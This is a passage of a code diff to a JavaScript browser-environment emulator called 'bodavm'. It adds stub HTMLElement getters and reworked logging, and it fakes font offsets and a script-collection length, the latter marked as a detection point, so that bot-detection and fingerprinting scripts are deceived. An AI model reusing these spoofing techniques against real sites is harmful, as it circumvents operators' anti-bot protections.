"!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_inputMode_get = function HTMLElement_inputMode_get() { console.log_copy("HTMLElement_inputMode_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_inert_get = function HTMLElement_inert_get() { console.log_copy("HTMLElement_inert_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_isContentEditable_get = function HTMLElement_isContentEditable_get() { console.log_copy("HTMLElement_isContentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_lang_get = function HTMLElement_lang_get() { console.log_copy("HTMLElement_lang_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_nonce_get = function HTMLElement_nonce_get() { console.log_copy("HTMLElement_nonce_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_offsetTop_get = function HTMLElement_offsetTop_get() { console.log_copy("HTMLElement_offsetTop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_offsetParent_get = function HTMLElement_offsetParent_get() { console.log_copy("HTMLElement_offsetParent_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_offsetLeft_get = function HTMLElement_offsetLeft_get() { console.log_copy("HTMLElement_offsetLeft_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onabort_get = function HTMLElement_onabort_get() { console.log_copy("HTMLElement_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onanimationend_get = function HTMLElement_onanimationend_get() { console.log_copy("HTMLElement_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onanimationiteration_get = function HTMLElement_onanimationiteration_get() { console.log_copy("HTMLElement_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onanimationstart_get = function HTMLElement_onanimationstart_get() { console.log_copy("HTMLElement_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onauxclick_get = function HTMLElement_onauxclick_get() { console.log_copy("HTMLElement_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onbeforematch_get = function HTMLElement_onbeforematch_get() { console.log_copy("HTMLElement_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onbeforexrselect_get = function HTMLElement_onbeforexrselect_get() { console.log_copy("HTMLElement_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onblur_get = function HTMLElement_onblur_get() { console.log_copy("HTMLElement_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncancel_get = function HTMLElement_oncancel_get() { console.log_copy("HTMLElement_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncanplay_get = function HTMLElement_oncanplay_get() { console.log_copy("HTMLElement_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncanplaythrough_get = function HTMLElement_oncanplaythrough_get() { console.log_copy("HTMLElement_oncanplaythrough_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onchange_get = function HTMLElement_onchange_get() { console.log_copy("HTMLElement_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onclick_get = function HTMLElement_onclick_get() { console.log_copy("HTMLElement_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onclose_get = function HTMLElement_onclose_get() { console.log_copy("HTMLElement_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncontextlost_get = function HTMLElement_oncontextlost_get() { console.log_copy("HTMLElement_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncontextmenu_get = function HTMLElement_oncontextmenu_get() { console.log_copy("HTMLElement_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncontextrestored_get = function HTMLElement_oncontextrestored_get() { console.log_copy("HTMLElement_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncopy_get = function HTMLElement_oncopy_get() { console.log_copy("HTMLElement_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncuechange_get = function HTMLElement_oncuechange_get() { console.log_copy("HTMLElement_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondblclick_get = function HTMLElement_ondblclick_get() { console.log_copy("HTMLElement_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oncut_get = function HTMLElement_oncut_get() { console.log_copy("HTMLElement_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondrag_get = function HTMLElement_ondrag_get() { console.log_copy("HTMLElement_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragleave_get = function HTMLElement_ondragleave_get() { console.log_copy("HTMLElement_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragstart_get = function HTMLElement_ondragstart_get() { console.log_copy("HTMLElement_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragenter_get = function HTMLElement_ondragenter_get() { console.log_copy("HTMLElement_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragend_get = function HTMLElement_ondragend_get() { console.log_copy("HTMLElement_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondragover_get = function HTMLElement_ondragover_get() { console.log_copy("HTMLElement_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondrop_get = function HTMLElement_ondrop_get() { console.log_copy("HTMLElement_ondrop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ondurationchange_get = function HTMLElement_ondurationchange_get() { console.log_copy("HTMLElement_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onemptied_get = function HTMLElement_onemptied_get() { console.log_copy("HTMLElement_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onended_get = function HTMLElement_onended_get() { console.log_copy("HTMLElement_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onerror_get = function HTMLElement_onerror_get() { console.log_copy("HTMLElement_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onfocus_get = function HTMLElement_onfocus_get() { console.log_copy("HTMLElement_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onformdata_get = function HTMLElement_onformdata_get() { console.log_copy("HTMLElement_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ongotpointercapture_get = function HTMLElement_ongotpointercapture_get() { console.log_copy("HTMLElement_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oninput_get = function HTMLElement_oninput_get() { console.log_copy("HTMLElement_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onkeydown_get = function HTMLElement_onkeydown_get() { console.log_copy("HTMLElement_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onkeypress_get = function HTMLElement_onkeypress_get() { console.log_copy("HTMLElement_onkeypress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onkeyup_get = function HTMLElement_onkeyup_get() { console.log_copy("HTMLElement_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_oninvalid_get = function HTMLElement_oninvalid_get() { console.log_copy("HTMLElement_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onload_get = function HTMLElement_onload_get() { console.log_copy("HTMLElement_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onloadedmetadata_get = function HTMLElement_onloadedmetadata_get() { console.log_copy("HTMLElement_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onlostpointercapture_get = function HTMLElement_onlostpointercapture_get() { console.log_copy("HTMLElement_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onloadeddata_get = function HTMLElement_onloadeddata_get() { console.log_copy("HTMLElement_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onloadstart_get = function HTMLElement_onloadstart_get() { console.log_copy("HTMLElement_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmousedown_get = function HTMLElement_onmousedown_get() { console.log_copy("HTMLElement_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseleave_get = function HTMLElement_onmouseleave_get() { console.log_copy("HTMLElement_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmousemove_get = function HTMLElement_onmousemove_get() { console.log_copy("HTMLElement_onmousemove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseout_get = function HTMLElement_onmouseout_get() { console.log_copy("HTMLElement_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseup_get = function HTMLElement_onmouseup_get() { console.log_copy("HTMLElement_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmouseover_get = function HTMLElement_onmouseover_get() { console.log_copy("HTMLElement_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onmousewheel_get = function HTMLElement_onmousewheel_get() { console.log_copy("HTMLElement_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpaste_get = function HTMLElement_onpaste_get() { console.log_copy("HTMLElement_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpause_get = function HTMLElement_onpause_get() { console.log_copy("HTMLElement_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onplay_get = function HTMLElement_onplay_get() { console.log_copy("HTMLElement_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onplaying_get = function HTMLElement_onplaying_get() { console.log_copy("HTMLElement_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointercancel_get = function HTMLElement_onpointercancel_get() { console.log_copy("HTMLElement_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerdown_get = function HTMLElement_onpointerdown_get() { console.log_copy("HTMLElement_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerleave_get = function HTMLElement_onpointerleave_get() { console.log_copy("HTMLElement_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointermove_get = function HTMLElement_onpointermove_get() { console.log_copy("HTMLElement_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerover_get = function HTMLElement_onpointerover_get() { console.log_copy("HTMLElement_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerout_get = function HTMLElement_onpointerout_get() { console.log_copy("HTMLElement_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerenter_get = function HTMLElement_onpointerenter_get() { console.log_copy("HTMLElement_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerrawupdate_get = function HTMLElement_onpointerrawupdate_get() { console.log_copy("HTMLElement_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onpointerup_get = function HTMLElement_onpointerup_get() { console.log_copy("HTMLElement_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onprogress_get = function HTMLElement_onprogress_get() { console.log_copy("HTMLElement_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onratechange_get = function HTMLElement_onratechange_get() { console.log_copy("HTMLElement_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onreset_get = function HTMLElement_onreset_get() { console.log_copy("HTMLElement_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onscroll_get = function HTMLElement_onscroll_get() { console.log_copy("HTMLElement_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onsecuritypolicyviolation_get = function HTMLElement_onsecuritypolicyviolation_get() { console.log_copy("HTMLElement_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onseeked_get = function HTMLElement_onseeked_get() { console.log_copy("HTMLElement_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onseeking_get = function HTMLElement_onseeking_get() { console.log_copy("HTMLElement_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onselect_get = function HTMLElement_onselect_get() { console.log_copy("HTMLElement_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onselectionchange_get = function HTMLElement_onselectionchange_get() { console.log_copy("HTMLElement_onselectionchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onselectstart_get = function HTMLElement_onselectstart_get() { console.log_copy("HTMLElement_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onslotchange_get = function HTMLElement_onslotchange_get() { console.log_copy("HTMLElement_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onstalled_get = function HTMLElement_onstalled_get() { console.log_copy("HTMLElement_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onsuspend_get = function HTMLElement_onsuspend_get() { console.log_copy("HTMLElement_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontimeupdate_get = function HTMLElement_ontimeupdate_get() { console.log_copy("HTMLElement_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onsubmit_get = function HTMLElement_onsubmit_get() { console.log_copy("HTMLElement_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontoggle_get = function HTMLElement_ontoggle_get() { console.log_copy("HTMLElement_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitioncancel_get = function HTMLElement_ontransitioncancel_get() { console.log_copy("HTMLElement_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitionrun_get = function HTMLElement_ontransitionrun_get() { console.log_copy("HTMLElement_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitionstart_get = function HTMLElement_ontransitionstart_get() { console.log_copy("HTMLElement_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_ontransitionend_get = function HTMLElement_ontransitionend_get() { console.log_copy("HTMLElement_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onvolumechange_get = function HTMLElement_onvolumechange_get() { console.log_copy("HTMLElement_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwaiting_get = function HTMLElement_onwaiting_get() { console.log_copy("HTMLElement_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkitanimationend_get = function HTMLElement_onwebkitanimationend_get() { console.log_copy("HTMLElement_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkitanimationiteration_get = function HTMLElement_onwebkitanimationiteration_get() { console.log_copy("HTMLElement_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkitanimationstart_get = function HTMLElement_onwebkitanimationstart_get() { console.log_copy("HTMLElement_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwebkittransitionend_get = function HTMLElement_onwebkittransitionend_get() { console.log_copy("HTMLElement_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_onwheel_get = function HTMLElement_onwheel_get() { console.log_copy("HTMLElement_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_outerText_get = function HTMLElement_outerText_get() { console.log_copy("HTMLElement_outerText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_spellcheck_get = function HTMLElement_spellcheck_get() { console.log_copy("HTMLElement_spellcheck_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_tabIndex_get = function HTMLElement_tabIndex_get() { console.log_copy("HTMLElement_tabIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_title_get = function HTMLElement_title_get() { console.log_copy("HTMLElement_title_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_translate_get = function HTMLElement_translate_get() { console.log_copy("HTMLElement_translate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_virtualKeyboardPolicy_get = function HTMLElement_virtualKeyboardPolicy_get() { console.log_copy("HTMLElement_virtualKeyboardPolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.HTMLElement_innerText_set = function HTMLElement_innerText_set() { let value = arguments[0] - console.log(`HTMLElement_innerText_set `, ` value->${value}`); + console.log_copy(`HTMLElement_innerText_set `, ` value->${value}`); bobo$(this._boarg).text(value) return value } @@ -3973,7 +4253,7 @@ } } } - console.log(`HTMLElement_innerText_get `, ` value->${inntext}`); + console.log_copy(`HTMLElement_innerText_get `, ` value->${inntext}`); return inntext } @@ -3981,16 +4261,20 @@ if (bodavm.config.isdebug) { debugger } let fontFamily = this._boarg.style.fontFamily - // debugger + if (!fontFamily){ + return this._boarg.offsetHeight + } + debugger // bodavm.bbbbb.push(fontFamily) if (bodavm.memory.globalInit.fontList.indexOf(fontFamily) !== -1) {// 能够识别的字体 let offsetHeight = bodavm.memory.fontsize[fontFamily][1] - console.log(`HTMLElement_offsetHeight_get `, ` fontFamily->${fontFamily}->offsetHeight->${offsetHeight} 可识别的字体 `); + console.log_copy(`HTMLElement_offsetHeight_get `, ` fontFamily->${fontFamily}->offsetHeight->${offsetHeight} 可识别的字体 `); return offsetHeight; } else { // 无法识别的字体 - console.log(`HTMLElement_offsetHeight_get `, `fontFamily->${fontFamily} 151 无法识别的字体 `); - return 151; + console.log_copy(`HTMLElement_offsetHeight_get `, `fontFamily->${fontFamily} 151 无法识别的字体 `); + // return 151; + return 151 } } @@ -3999,13 +4283,16 @@ if (bodavm.config.isdebug) { debugger } // debugger let fontFamily = this._boarg.style.fontFamily + if (!fontFamily){ + return this._boarg.offsetWidth + } // bodavm.bbbbb.push(fontFamily) if (bodavm.memory.globalInit.fontList.indexOf(fontFamily) !== -1) {// 能够识别的字体 let offsetWidth = bodavm.memory.fontsize[fontFamily][0] - console.log(`HTMLElement_offsetWidth_get `, ` fontFamily->${fontFamily}->offsetWidth->${offsetWidth} 可识别的字体 `); + console.log_copy(`HTMLElement_offsetWidth_get `, ` fontFamily->${fontFamily}->offsetWidth->${offsetWidth} 可识别的字体 `); return offsetWidth; } else { // 无法识别的字体 - console.log(`HTMLElement_offsetWidth_get `, `fontFamily->${fontFamily} 1327 无法识别的字体 `); + console.log_copy(`HTMLElement_offsetWidth_get `, `fontFamily->${fontFamily} 1327 无法识别的字体 `); return 1327; } @@ -4013,14 +4300,14 @@ bodavm.envFunc.CSSStyleDeclaration_fontFamily_get = function CSSStyleDeclaration_fontFamily_get() { if (bodavm.config.isdebug) { debugger } let font = this._boarg.fontFamily - console.log(`CSSStyleDeclaration_fontFamily_get `, `font ->${font} `); + console.log_copy(`CSSStyleDeclaration_fontFamily_get `, `font ->${font} `); return font } bodavm.envFunc.CSSStyleDeclaration_fontFamily_set = function CSSStyleDeclaration_fontFamily_set() { if (bodavm.config.isdebug) { debugger } let arg = arguments[0] - console.log(`CSSStyleDeclaration_fontFamily_set `, `${arg} `); + console.log_copy(`CSSStyleDeclaration_fontFamily_set `, `${arg} `); this._boarg.fontFamily = arg return arg } @@ -4030,7 +4317,7 @@ if ((!bodavm.memory.cache['HTMLElement_style_get'][this])){ bodavm.memory.cache['HTMLElement_style_get'][this]={} }else{ - console.log(`HTMLElement_style_get ->`,`this->`,this,'已存在直接返回') + console.log_copy(`HTMLElement_style_get ->`,`this->`,this,'已存在直接返回') return bodavm.memory.cache['HTMLElement_style_get'][this] } let style = bodavm.memory.cache['HTMLElement_style_get'][this] @@ -4040,7 +4327,7 @@ style._boarg = oo // bodavm.toolsFunc.symbolProperty(style) style.__proto__ = bodavm.memory.globalobj['CSSStyleDeclaration'].prototype - console.log(`HTMLElement_style_get `, `style->${style}`); + console.log_copy(`HTMLElement_style_get `, `style->${style}`); res=bodavm.toolsFunc.style_(style) style=null return res @@ -4054,50 +4341,50 @@ debugger if (bodavm.config.isdebug) { debugger } this._attrs['style'] = arg0 - console.log(`HTMLElement_style_set `, `${style} `); + console.log_copy(`HTMLElement_style_set `, `${style} `); return arg0 } bodavm.envFunc.HTMLElement_onmouseenter_get = function HTMLElement_onmouseenter_get() { //鼠标移动事件 if (bodavm.config.isdebug) { debugger } - console.log(`HTMLElement_onmouseenter_get `,); + console.log_copy(`HTMLElement_onmouseenter_get `,); } bodavm.envFunc.HTMLElement_onresize_get = function HTMLElement_onresize_get() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLElement_onresize_get `, null); + console.log_copy(`HTMLElement_onresize_get `, null); return null } bodavm.envFunc.HTMLElement_onload_set = function HTMLElement_onload_set() { if (bodavm.config.isdebug) { debugger } let func = arguments[0] - console.log(`HTMLElement_onload_set `,); + console.log_copy(`HTMLElement_onload_set `,); bodavm.memory.asyncEvent['HTMLElement']['onload'].push(func) } bodavm.envFunc.HTMLElement_onerror_set = function HTMLElement_onerror_set() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLElement_onerror_set !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`HTMLElement_onerror_set !!!!!!!!!未完善!!!!!!!!!!!!`,); this._onerror=arguments[0] } //HTMLCollection bodavm.envFunc.HTMLCollection_item = function HTMLCollection_item() { if (bodavm.config.isdebug) { debugger } - console.log(`HTMLCollection_item !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`HTMLCollection_item !!!!!!!!!未完善!!!!!!!!!!!!`,); } bodavm.envFunc.HTMLCollection_length_get = function HTMLCollection_length_get() { if (bodavm.config.isdebug) { debugger } // debugger if (bodavm.config.isrs && this[0] instanceof bodavm.memory.globalobj['HTMLScriptElement']) { - console.log(`HTMLCollection_length_get `, `length:${2}, rs检测点`); + console.log_copy(`HTMLCollection_length_get `, `length:${2}, rs检测点`); return 2 } debugger let length_ = this._boarg.length - console.log(`HTMLCollection_length_get `, `length:${length_}`); + console.log_copy(`HTMLCollection_length_get `, `length:${length_}`); return length_ } @@ -4107,27 +4394,27 @@ let readyState = arguments[0]; if (bodavm.config.isdebug) { debugger }; this._boarg.myonreadystatechange = readyState - console.log(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); + console.log_copy(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); return readyState } bodavm.envFunc.XMLHttpRequest_onreadystatechange_get = function () { let readyState = this._boarg.myonreadystatechange; if (bodavm.config.isdebug) { debugger }; - console.log(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); + console.log_copy(`XMLHttpRequest_onreadystatechange_set `, `readyState->${readyState} `); return readyState } bodavm.envFunc.XMLHttpRequest_send = function XMLHttpRequest_send() { debugger let body = arguments[0]; if (bodavm.config.isdebug) { debugger }; - console.log(`XMLHttpRequest_send `, `body->${body} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`XMLHttpRequest_send `, `body->${body} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); // this._boarg.send(body) } bodavm.envFunc.XMLHttpRequest_open = function XMLHttpRequest_open() { let method = arguments[0] let url = arguments[1]; - console.log(`XMLHttpRequest_open `, `[${method}] `, `[${url}] `) + console.log_copy(`XMLHttpRequest_open `, `[${method}] `, `[${url}] `) if (bodavm.config.isdebug) { debugger } this.mymethod=method this.myurl=url @@ -4156,7 +4443,7 @@ 'target': this, '_boisinit':bodavm.config.isinit } - console.log(`EventTarget_addEventListener `, `type->${type} `, `callback->${callback.toString().length>50?callback.toString().substr(0,50)+'...':callback} `, `options->${options ? options : []} `) + console.log_copy(`EventTarget_addEventListener `, `type->${type} `, `callback->${callback.toString().length>50?callback.toString().substr(0,50)+'...':callback} `, `options->${options ? options : []} `) bodavm.memory.asyncEvent.listener[type].push(event); @@ -4167,7 +4454,7 @@ let event = arguments[0] let botag = arguments[1] //用来判断该事件是不是由我代码主动触发 if (botag == undefined) { - console.log(`EventTarget_dispatchEvent 被网站代码主动触发`, `事件为${event.type}`) + console.log_copy(`EventTarget_dispatchEvent 被网站代码主动触发`, `事件为${event.type}`) } let type = event.type switch (event.type) { @@ -4182,10 +4469,10 @@ break default: //无需实现的事件unload popstate - console.log(`EventTarget_dispatchEvent `, `${event.type} 未实现`) + console.log_copy(`EventTarget_dispatchEvent `, `${event.type} 未实现`) } - // console.log(`EventTarget_dispatchEvent `, `event->${event}`,` type->${type}`); + // console.log_copy(`EventTarget_dispatchEvent `, `event->${event}`,` type->${type}`); event.callback.call(event.self, event) } @@ -4195,7 +4482,7 @@ let callback = arguments[1] for (let i = 0; i < bodavm.memory.asyncEvent.listener[type].length; i++) { if (bodavm.memory.asyncEvent.listener[type][i].callback == callback) { - console.log(`EventTarget_removeEventListener `, `type->${type}`, `callback->${callback}`); + console.log_copy(`EventTarget_removeEventListener `, `type->${type}`, `callback->${callback}`); bodavm.memory.asyncEvent.listener[type][i].splice(i, 1) break } @@ -4214,23 +4501,23 @@ // context = context.getContext('2d') context._bocanvas = this._bocanvas.getContext('2d') context.__proto__ = bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype; - console.log(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) + console.log_copy(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) break case "webgl": // context = context.getContext('2d') context.__proto__ = bodavm.memory.globalobj['WebGLRenderingContext'].prototype; - console.log(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) + 